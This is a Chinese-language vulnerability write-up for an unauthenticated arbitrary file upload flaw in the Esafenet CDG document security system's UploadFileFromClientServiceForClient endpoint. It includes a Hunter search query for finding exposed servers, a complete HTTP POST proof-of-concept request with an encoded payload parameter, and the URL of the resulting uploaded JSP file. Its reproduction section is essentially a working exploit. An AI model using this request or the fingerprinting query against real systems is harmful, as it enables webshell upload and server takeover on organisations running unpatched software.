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45 lines
2.6 KiB
Markdown
45 lines
2.6 KiB
Markdown
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# 亿赛通电子文档安全管理系统UploadFileFromClientServiceForClient任意文件上传漏洞
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# 一、漏洞简介
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亿赛通电子文档安全管理系统(简称:CDG)是一款电子文档安全加密软件,该系统利用驱动层透明加密技术,通过对电子文档的加密保护,防止内部员工泄密和外部人员非法窃取企业核心重要数据资产,对电子文档进行全生命周期防护,系统具有透明加密、主动加密、智能加密等多种加密方式,用户可根据部门涉密程度的不同(如核心部门和普通部门),部署力度轻重不一的梯度式文档加密防护,实现技术、管理、审计进行有机的结合,在内部构建起立体化的整体信息防泄露体系,使得成本、效率和安全三者达到平衡,实现电子文档的数据安全。亿赛通电子文档安全管理系统UploadFileFromClientServiceForClient接口处存在任意文件上传漏洞,未经授权的攻击者可通过此漏洞上传恶意后门文件,从而获取服务器权限。
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# 二、影响版本
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+ 亿赛通电子文档安全管理系统
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# 三、资产测绘
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+ hunter`app.name="ESAFENET 亿赛通文档安全管理系统"`
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+ 登录页面
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# 四、漏洞复现
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```plain
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POST /CDGServer3/UploadFileFromClientServiceForClient?AFMALANMJCEOENIBDJMKFHBANGEPKHNOFJBMIFJPFNKFOKHJNMLCOIDDJGNEIPOLOKGAFAFJHDEJPHEPLFJHDGPBNELNFIICGFNGEOEFBKCDDCGJEPIKFHJFAOOHJEPNNCLFHDAFDNCGBAEELJFFHABJPDPIEEMIBOECDMDLEPBJGBGCGLEMBDFAGOGM HTTP/1.1
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Host: xxx.xxx.xxx.xxx
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
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Accept-Encoding: gzip, deflate
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7
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Connection: close
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Cache-Control: max-age=0
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Upgrade-Insecure-Requests: 1
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Accept-Language: zh-CN,zh;q=0.9
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Cookie: JSESSIONID=22C9717F219D60381079FEBCDC6F635A
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Content-Length: 9
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014435897
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```
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上传文件位置
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```plain
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http://xx.xx.xx.xx/tttT.jsp
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```
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> 更新: 2024-04-20 22:01:35
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> 原文: <https://www.yuque.com/xiaokp7/ocvun2/gny15irlsb3oielm>
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